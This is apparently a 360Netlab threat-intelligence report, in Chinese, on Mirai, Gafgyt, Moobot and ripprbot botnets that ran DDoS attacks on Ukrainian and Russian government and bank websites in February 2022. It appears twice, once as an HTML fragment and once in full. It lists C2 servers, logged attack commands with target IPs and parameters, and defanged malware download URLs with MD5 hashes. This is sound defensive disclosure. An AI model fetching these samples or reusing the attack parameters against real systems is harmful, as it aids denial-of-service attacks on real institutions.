<p>可以看到，针对俄国的DDoS攻击从2月7日就开始了，持续至今且数量呈增加趋势。跟乌克兰相比，针对俄国的DDoS攻击其实更多，限于篇幅，下面只罗列涉事botnet的C2。</p>
<pre><code>gafgyt_195.133.40.71
gafgyt_212.192.241.44
gafgyt_46.249.32.109
mirai_130.162.32.102
mirai_137.74.155.78
mirai_142.93.125.122
mirai_152.89.239.12
mirai_173.254.204.124
mirai_185.245.96.227
mirai_45.61.136.130
mirai_45.61.186.13
mirai_46.29.166.105
mirai_84.201.154.133
mirai_ardp.hldns.ru
mirai_aurora_life.zerobytes.cc
mirai_cherry.1337.cx
mirai_offshore.us.to
mirai_pear.1337.cx
mirai_wpceservice.hldns.ru
moobot_185.224.129.233
moobot_goodpackets.cc
ripprbot_171.22.109.201
ripprbot_212.192.246.183
ripprbot_212.192.246.186
</code></pre>
<h2 id="ioc">IoC</h2>
<pre><code># C2 mirai_5.182.211.5
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arc 54bd85b40041ba82ae1b57664ee3e958
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm 5096be3bab6b9731293472d7cbd78d18
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm 70aaa4746150eba8439308096b17d8cc
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm5 9636a88f8543b35d212e240c3094d7bb
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm5 cc79916e1e472a657a9ae216b2602a7b
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm6 8f488f3218baec8b75dc6e42e5c90a47
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm6 c5350546e6d22075ac58f0b4410a9c9a
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm7 59b9988a7132fda4fb89b3758411e9df
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm7 b307dd0043e94400f8632c4d0c4eae0e
# hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i486 49b9d14010071605549dc0dfb77d5f59
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i486 e5822f8f9bc541e696f5520b9ad0e627
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i686 1b7247a2049da033a94375054829335d
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i686 c2135973f6d059d9dd09a853cfa241fc
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.m68k 45677381938006bbc019753dfdffb945
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.m68k 68ed4532bd6ad79f263715036dee6021
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mips 69b51b792b1fca9a268ce7cc1e1857df
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mips d38cc4879fe0bc66cb8e772b28fbfd15
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mpsl 39532b27e2dbd9af85f2da7ff4519467
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mpsl 69717fbd6954f16794ff46e4b7c0f58a
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.ppc
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.sh4 0eca53a2dca6384b7b1b7de186e835b5
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.sh4 b21e118e9f6b4b393719e0669214946a
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.spc 340255b25edf28c8de140f3f00306773
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.spc 84c7c39e3f1a4bdfdcfaa4800d410829
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86 bfaffefb3cc7f301d017242ca832cf45
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86 e2b103a3b74dd0bfd98ffd27ed07f2c6
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86_64 8be8a51819d7493de15c5ad7471fe1cc
# C2 mirai_209.141.33.208
hxxp://209.141.33.208/bins/Zeus.arm ac9a7a24b3e5229df0e35f99bd8f4dd0
hxxp://209.141.33.208/bins/Zeus.arm5 0592fc8590bb8b01618bd1075bf45971
hxxp://209.141.33.208/bins/Zeus.arm6 a9a286065f59e833ce6310e4ca0a327a
hxxp://209.141.33.208/bins/Zeus.arm7 2a9ad76fbfe573820d89edc832a759a9
hxxp://209.141.33.208/bins/Zeus.m68k 16cc3f8359b55d32f133ecfd78092dcd
hxxp://209.141.33.208/bins/Zeus.mips 75011d511ee19c482cd12271c238d7d3
hxxp://209.141.33.208/bins/Zeus.mpsl f3dd9da090cc830e370dfa3a96128bd0
hxxp://209.141.33.208/bins/Zeus.ppc a7578b554b50cf01c43ebc54c3029fb2
hxxp://209.141.33.208/bins/Zeus.sh4 9798c9f24407da3bb709384f161e20a5
hxxp://209.141.33.208/bins/Zeus.spc 283d7df13561c851d8959f24dce2af99
hxxp://209.141.33.208/bins/Zeus.x86 d1bf7c6e6dde347ea3414cbf38b4e25f
# C2 gafgyt_172.245.6.134
hxxp://172.245.6.134:80/bins/arc ed6013177b8c7e61f936c14b698c7bdc
hxxp://172.245.6.134:80/bins/arm 89bb874db266e9aa4d9c07e994a0f02d
hxxp://172.245.6.134:80/bins/arm5 6a9587b5c95d16ce915c3218aa0ef68c
hxxp://172.245.6.134:80/bins/arm6 53526f9affd4d2219e6a33d497ef17f3
hxxp://172.245.6.134:80/bins/arm7 831353dd99cae5bb9ae7dcf125bbe46c
hxxp://172.245.6.134:80/bins/m68k ad59c219813642fc8d9af23131db12d1
hxxp://172.245.6.134:80/bins/mips 72e13614d7f45adce589d3ab6a855653
hxxp://172.245.6.134:80/bins/mpsl 9d2ed5fb9b586cb369b63aea5ee9c49e
hxxp://172.245.6.134:80/bins/ppc 4b0b53b2f13ceb16b14f8cf7596682bc
hxxp://172.245.6.134:80/bins/sh4 8e26db0a91c6cc2c410764d1f32bbac3
hxxp://172.245.6.134:80/bins/spc 13ead0d75d2fcdf53c7d6d8f40f615f4
hxxp://172.245.6.134:80/bins/x86 015ed26cc1656246177004eab5c059fe
hxxp://172.245.6.134:80/bins/x86 67d2f13fcd2622c85d974a6c41c285a4
# C2: gafgyt_188.127.237.5
hxxp://188.127.237.5/a-r.m-4.Sakura f422e76ceead6fb12a1c53a68ed2f554
hxxp://188.127.237.5/a-r.m-5.Sakura 870e6969eb7db126e945cfd7e9a2ed5f
hxxp://188.127.237.5/a-r.m-6.Sakura 619517a7ff244de1dc574d2ffb6553d3
hxxp://188.127.237.5/a-r.m-7.Sakura 478ab4262768222839d51c7ea2e5e46f
hxxp://188.127.237.5/i-5.8-6.Sakura 03f6aeda4b403cead904240faec8d32f
hxxp://188.127.237.5/m-6.8-k.Sakura d3dd19a2ae9228ca71bdf58e3450e205
hxxp://188.127.237.5/m-i.p-s.Sakura 2a2cc9b33cfefc1f8dcf4eed09666ddc
hxxp://188.127.237.5/m-p.s-l.Sakura 37f0100946589aeacdc647ccb14e9baa
hxxp://188.127.237.5/p-p.c-.Sakura f422e76ceead6fb12a1c53a68ed2f554
hxxp://188.127.237.5/s-h.4-.Sakura df831e3d07da42cfa5acf95ef97a753a
hxxp://188.127.237.5/x-3.2-.Sakura 8c2a26b9171964d12739addb750f2782
hxxp://188.127.237.5/x-8.6-.Sakura 9612862c128b5df388258a2e76e811a0
其它攻击过.ru网站的C2:
gafgyt_195.133.40.71
gafgyt_212.192.241.44
gafgyt_46.249.32.109
mirai_130.162.32.102
mirai_137.74.155.78
mirai_142.93.125.122
mirai_152.89.239.12
mirai_173.254.204.124
mirai_185.245.96.227
mirai_45.61.136.130
mirai_45.61.186.13
mirai_46.29.166.105
mirai_84.201.154.133
mirai_ardp.hldns.ru
mirai_aurora_life.zerobytes.cc
mirai_cherry.1337.cx
mirai_offshore.us.to
mirai_pear.1337.cx
mirai_wpceservice.hldns.ru
moobot_185.224.129.233
moobot_goodpackets.cc
ripprbot_171.22.109.201
ripprbot_212.192.246.183
ripprbot_212.192.246.186
</code></pre>
<!--kg-card-end: markdown--> | 在360Netlab（netlab.360.com），我们持续的通过我们的 BotMon 系统跟踪全球范围内的僵尸网络。特别的，对于DDoS 相关的僵尸网络，我们会进一步跟踪其内部指令，从而得以了解攻击的细节，包括攻击者是谁、受害者是谁、在什么时间、具体使用什么攻击方式。
最近俄乌局势紧张，双方的多个政府、军队和金融机构都遭到了DDoS攻击，我们也不断接收到安全社区的询问，咨询对于最近乌克兰和俄罗斯相关网站 (.ua .ru下属域名）遭受DDoS攻击的具体情况，因此我们特意整理相关数据供安全社区参考。
针对乌克兰的DDoS攻击
下图是我们看到的针对域名以.gov.ua结尾的政府网站的攻击趋势。
可以看到攻击最早始于2月12号，攻击数量和强度都在持续变大，在2月16日达到顶峰，攻击类型则混合了NTP放大、UDP/STD/OVH flood等多种类型
下图是我们看到的针对另一个以.ua结尾的网站“online.oschadbank.ua”的DDoS攻击。
可以看到攻击开始自2月15日，持续了3天。值得注意的是攻击这个网站的C2 mirai_5.182.211.5 2月11号上线，从2022-02-16 03:02:37+08:00发出第一条攻击指令始到2022-02-17 01:08:27+08:00最后一条指令，它只攻击了185.34.x.x/24这个网段的IP，而这些IP均属于“online.oschadbank.ua”。
我们捕获的针对.ua网站的DDoS攻击，除了NTP反射放大攻击外，其它的均跟botnet有关，涉及Mirai、Gafgyt、ripprbot、moobot和ircBot等5个家族的10多个C2。因为这些家族业界相关分析已经很多，这里不再赘述，只罗列下我们捕获到的样本和跟踪到的C2指令。除第一个C2自上线以来只用来攻击“oschadbank.ua”相关的几个子站，其他的C2攻击了不同国家的多个目标。限于篇幅，下面罗列首先出现的4个C2。
1，mirai_5.182.211.5
前面已经说过，该C2在其活跃期间（2022-02-11~2022-02-17）只攻击了“online.oschadbank.ua”这一个目标。我们的蜜罐从2月11日到2月14日曾持续捕获到它的样本，部分URL和MD5对应如下：
e5822f8f9bc541e696f5520b9ad0e627 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i486
39532b27e2dbd9af85f2da7ff4519467 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mpsl
69b51b792b1fca9a268ce7cc1e1857df http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mips
70aaa4746150eba8439308096b17d8cc http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm
68ed4532bd6ad79f263715036dee6021 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.m68k
54bd85b40041ba82ae1b57664ee3e958 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arc
1b7247a2049da033a94375054829335d http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i686
ac4d8d0010775e185e12604c0e304685 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86_64
0eca53a2dca6384b7b1b7de186e835b5 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.sh4
cc79916e1e472a657a9ae216b2602a7b http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm5
8f488f3218baec8b75dc6e42e5c90a47 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm6
b307dd0043e94400f8632c4d0c4eae0e http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm7
340255b25edf28c8de140f3f00306773 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.spc
e2b103a3b74dd0bfd98ffd27ed07f2c6 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86
样本为Mirai变种，具有较强的Mirai代码特征，保留了table_init()、attack_init()等典型的Mirai函数。下面是我们跟踪到的指令：
2022-02-16 21:27:44+08:00 mirai 5.182.211.5 60195 ddos atk_7 185.34.224.121 atk_time=600,netmask=32,/wb/api/v2/session,post,{login:rrre,password:vvv,captcha:},443,online.oschadbank.ua,affected=online.oschadbank.ua
2022-02-16 21:19:04+08:00 mirai 5.182.211.5 60195 ddos atk_7 185.34.224.121 atk_time=600,netmask=32,online.oschadbank.ua,/wb/api/v2/session,post,{login:rrre,password:vvv,captcha:}
2022-02-16 21:06:14+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=600,netmask=32,109.110.75.23,443,1,1,1,affected=online.oschadbank.ua
2022-02-16 19:17:12+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=1200,netmask=32,1,109.254.6.88,443,1,1,affected=online.oschadbank.ua
2022-02-16 18:55:07+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=1200,netmask=32,1,93.188.39.70,443,1,1,affected=online.oschadbank.ua
2022-02-16 18:34:18+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=1200,netmask=32,91.206.111.88,443,1,1,1,affected=online.oschadbank.ua
2022-02-16 18:15:23+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=1200,netmask=32,78.26.168.101,443,1,1,1,affected=online.oschadbank.ua
2022-02-16 17:55:35+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=1200,netmask=32,195.182.202.20,443,1,1,1,affected=online.oschadbank.ua
2022-02-16 17:39:01+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=900,netmask=32,443,1,1,1,37.115.24.108,affected=online.oschadbank.ua
2022-02-16 17:24:37+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=900,netmask=32,78.31.254.20,443,1,1,1,affected=online.oschadbank.ua
2022-02-16 17:24:37+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=900,netmask=32,78.31.254.20,443,1,1,1,affected=online.oschadbank.ua
2022-02-16 16:48:55+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=900,netmask=32,443,1,1,1,249,46.219.126.90,affected=online.oschadbank.ua
2022-02-16 13:41:41+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=120,netmask=32,255.255.255.255,443,1,affected=online.oschadbank.ua
2022-02-16 13:25:49+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=120,netmask=32,255.255.255.255,443,1,affected=online.oschadbank.ua
2022-02-16 13:23:33+08:00 mirai 5.182.211.5 60195 ddos atk_6 185.34.224.121 atk_time=120,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-16 11:06:32+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=10800,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-16 05:04:45+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=21600,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-16 01:02:32+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=7200,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-15 23:00:06+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=7200,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-15 21:00:08+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=7200,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-15 20:01:13+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=3600,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-15 18:55:36+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=3600,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-15 18:30:32+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=1800,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-15 18:08:50+08:00 mirai 5.182.211.5 60195 ddos atk_0 185.34.224.121 atk_time=600,netmask=32,,affected=online.oschadbank.ua
2022-02-15 17:42:26+08:00 mirai 5.182.211.5 60195 ddos atk_7 185.34.224.121 atk_time=600,netmask=32,online.oschadbank.ua,affected=online.oschadbank.ua
2，mirai_209.141.33.208
该C2的样本1月25日便已经出现，样本捕获情况如下图所示。
它在16日攻击了“www.szru.gov.ua” 网站：
2022-02-16 05:35:38+08:00 mirai 209.141.33.208 209.141.33.208 9999 atk_2 193.109.8.66 80 {'netmask': 32,'flags': [{'fid': 7,'value': b'80'}]},affected=www.szru.gov.ua
3，gafgyt_172.245.6.134
该C2的样本最早1月29日开始传播，样本捕获情况如下图所示。
下面是我们跟踪到的指令：
2022-02-17 01:46:30+08:00 gafgyt 172.245.6.134 61108 ddos OVH 213.156.91.92 uri=/,OVH,213.156.91.92,443,30,1024,affected=mail.uss.gov.ua
2022-02-17 00:08:31+08:00 gafgyt 172.245.6.134 61108 ddos OVH 193.17.44.246 uri=/,OVH,193.17.44.246,443,60,1024,affected=bank.gov.ua
2022-02-17 00:07:40+08:00 gafgyt 172.245.6.134 61108 ddos HEX 193.17.44.146 uri=/,HEX,193.17.44.146,443,60,affected=bank.gov.ua
2022-02-16 22:19:04+08:00 gafgyt 172.245.6.134 61108 ddos OVH 193.17.44.246 uri=/,OVH,193.17.44.246,443,200,1024,affected=bank.gov.ua
2022-02-16 22:18:33+08:00 gafgyt 172.245.6.134 61108 ddos OVH 193.17.44.146 uri=/,OVH,193.17.44.146,443,200,1024,affected=bank.gov.ua
2022-02-16 22:07:34+08:00 gafgyt 172.245.6.134 61108 ddos HEX 193.109.8.66 uri=/,HEX,193.109.8.66,80,60,affected=www.szru.gov.ua
2022-02-16 22:01:44+08:00 gafgyt 172.245.6.134 61108 ddos HEX 193.17.44.146 uri=/,HEX,193.17.44.146,80,30,1024,affected=bank.gov.ua
2022-02-16 21:57:02+08:00 gafgyt 172.245.6.134 61108 ddos OVH 193.17.44.246 uri=/,OVH,193.17.44.246,443,60,1024,affected=bank.gov.ua
2022-02-16 21:53:16+08:00 gafgyt 172.245.6.134 61108 ddos OVH 193.17.44.246 uri=/,OVH,193.17.44.246,443,60,1024,affected=bank.gov.ua
2022-02-16 21:46:41+08:00 gafgyt 172.245.6.134 61108 ddos HEX 193.29.204.11 uri=/,HEX,193.29.204.11,443,120,affected=www.president.gov.ua
2022-02-16 21:44:41+08:00 gafgyt 172.245.6.134 61108 ddos HEX 195.78.68.7 uri=/,HEX,195.78.68.7,80,120,affected=mova-ombudsman.gov.ua
2022-02-16 05:35:27+08:00 gafgyt 172.245.6.134 61108 ddos HEX 193.109.8.66 uri=/,HEX,193.109.8.66,80,20,affected=fisu.gov.ua
4，gafgyt_188.127.237.5
该C2的样本在2月6日被捕获，它在2月16日攻击了“od.tax.gov.ua”网站：
2022-02-16 01:54:00+08:00 gafgyt 188.127.237.5 606 STDHEX 193.200.32.26 STDHEX,193.200.32. 26,80,120,affected=od.tax.gov.ua
针对俄罗斯的DDoS攻击
下图是我们看到的针对以.ru结尾的俄罗斯政府和军队网站的攻击。
可以看到，针对俄国的DDoS攻击从2月7日就开始了，持续至今且数量呈增加趋势。跟乌克兰相比，针对俄国的DDoS攻击其实更多，限于篇幅，下面只罗列涉事botnet的C2。
gafgyt_195.133.40.71
gafgyt_212.192.241.44
gafgyt_46.249.32.109
mirai_130.162.32.102
mirai_137.74.155.78
mirai_142.93.125.122
mirai_152.89.239.12
mirai_173.254.204.124
mirai_185.245.96.227
mirai_45.61.136.130
mirai_45.61.186.13
mirai_46.29.166.105
mirai_84.201.154.133
mirai_ardp.hldns.ru
mirai_aurora_life.zerobytes.cc
mirai_cherry.1337.cx
mirai_offshore.us.to
mirai_pear.1337.cx
mirai_wpceservice.hldns.ru
moobot_185.224.129.233
moobot_goodpackets.cc
ripprbot_171.22.109.201
ripprbot_212.192.246.183
ripprbot_212.192.246.186
IoC
# C2 mirai_5.182.211.5
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arc 54bd85b40041ba82ae1b57664ee3e958
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm 5096be3bab6b9731293472d7cbd78d18
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm 70aaa4746150eba8439308096b17d8cc
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm5 9636a88f8543b35d212e240c3094d7bb
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm5 cc79916e1e472a657a9ae216b2602a7b
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm6 8f488f3218baec8b75dc6e42e5c90a47
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm6 c5350546e6d22075ac58f0b4410a9c9a
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm7 59b9988a7132fda4fb89b3758411e9df
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm7 b307dd0043e94400f8632c4d0c4eae0e
# hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i486 49b9d14010071605549dc0dfb77d5f59
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i486 e5822f8f9bc541e696f5520b9ad0e627
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i686 1b7247a2049da033a94375054829335d
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i686 c2135973f6d059d9dd09a853cfa241fc
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.m68k 45677381938006bbc019753dfdffb945
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.m68k 68ed4532bd6ad79f263715036dee6021
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mips 69b51b792b1fca9a268ce7cc1e1857df
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mips d38cc4879fe0bc66cb8e772b28fbfd15
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mpsl 39532b27e2dbd9af85f2da7ff4519467
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mpsl 69717fbd6954f16794ff46e4b7c0f58a
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.ppc
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.sh4 0eca53a2dca6384b7b1b7de186e835b5
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.sh4 b21e118e9f6b4b393719e0669214946a
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.spc 340255b25edf28c8de140f3f00306773
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.spc 84c7c39e3f1a4bdfdcfaa4800d410829
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86 bfaffefb3cc7f301d017242ca832cf45
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86 e2b103a3b74dd0bfd98ffd27ed07f2c6
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86_64 8be8a51819d7493de15c5ad7471fe1cc
# C2 mirai_209.141.33.208
hxxp://209.141.33.208/bins/Zeus.arm ac9a7a24b3e5229df0e35f99bd8f4dd0
hxxp://209.141.33.208/bins/Zeus.arm5 0592fc8590bb8b01618bd1075bf45971
hxxp://209.141.33.208/bins/Zeus.arm6 a9a286065f59e833ce6310e4ca0a327a
hxxp://209.141.33.208/bins/Zeus.arm7 2a9ad76fbfe573820d89edc832a759a9
hxxp://209.141.33.208/bins/Zeus.m68k 16cc3f8359b55d32f133ecfd78092dcd
hxxp://209.141.33.208/bins/Zeus.mips 75011d511ee19c482cd12271c238d7d3
hxxp://209.141.33.208/bins/Zeus.mpsl f3dd9da090cc830e370dfa3a96128bd0
hxxp://209.141.33.208/bins/Zeus.ppc a7578b554b50cf01c43ebc54c3029fb2
hxxp://209.141.33.208/bins/Zeus.sh4 9798c9f24407da3bb709384f161e20a5
hxxp://209.141.33.208/bins/Zeus.spc 283d7df13561c851d8959f24dce2af99
hxxp://209.141.33.208/bins/Zeus.x86 d1bf7c6e6dde347ea3414cbf38b4e25f
# C2 gafgyt_172.245.6.134
hxxp://172.245.6.134:80/bins/arc ed6013177b8c7e61f936c14b698c7bdc
hxxp://172.245.6.134:80/bins/arm 89bb874db266e9aa4d9c07e994a0f02d
hxxp://172.245.6.134:80/bins/arm5 6a9587b5c95d16ce915c3218aa0ef68c
hxxp://172.245.6.134:80/bins/arm6 53526f9affd4d2219e6a33d497ef17f3
hxxp://172.245.6.134:80/bins/arm7 831353dd99cae5bb9ae7dcf125bbe46c
hxxp://172.245.6.134:80/bins/m68k ad59c219813642fc8d9af23131db12d1
hxxp://172.245.6.134:80/bins/mips 72e13614d7f45adce589d3ab6a855653
hxxp://172.245.6.134:80/bins/mpsl 9d2ed5fb9b586cb369b63aea5ee9c49e
hxxp://172.245.6.134:80/bins/ppc 4b0b53b2f13ceb16b14f8cf7596682bc
hxxp://172.245.6.134:80/bins/sh4 8e26db0a91c6cc2c410764d1f32bbac3
hxxp://172.245.6.134:80/bins/spc 13ead0d75d2fcdf53c7d6d8f40f615f4
hxxp://172.245.6.134:80/bins/x86 015ed26cc1656246177004eab5c059fe
hxxp://172.245.6.134:80/bins/x86 67d2f13fcd2622c85d974a6c41c285a4
# C2: gafgyt_188.127.237.5
hxxp://188.127.237.5/a-r.m-4.Sakura f422e76ceead6fb12a1c53a68ed2f554
hxxp://188.127.237.5/a-r.m-5.Sakura 870e6969eb7db126e945cfd7e9a2ed5f
hxxp://188.127.237.5/a-r.m-6.Sakura 619517a7ff244de1dc574d2ffb6553d3
hxxp://188.127.237.5/a-r.m-7.Sakura 478ab4262768222839d51c7ea2e5e46f
hxxp://188.127.237.5/i-5.8-6.Sakura 03f6aeda4b403cead904240faec8d32f
hxxp://188.127.237.5/m-6.8-k.Sakura d3dd19a2ae9228ca71bdf58e3450e205
hxxp://188.127.237.5/m-i.p-s.Sakura 2a2cc9b33cfefc1f8dcf4eed09666ddc
hxxp://188.127.237.5/m-p.s-l.Sakura 37f0100946589aeacdc647ccb14e9baa
hxxp://188.127.237.5/p-p.c-.Sakura f422e76ceead6fb12a1c53a68ed2f554
hxxp://188.127.237.5/s-h.4-.Sakura df831e3d07da42cfa5acf95ef97a753a
hxxp://188.127.237.5/x-3.2-.Sakura 8c2a26b9171964d12739addb750f2782
hxxp://188.127.237.5/x-8.6-.Sakura 9612862c128b5df388258a2e76e811a0
其它攻击过.ru网站的C2:
gafgyt_195.133.40.71
gafgyt_212.192.241.44
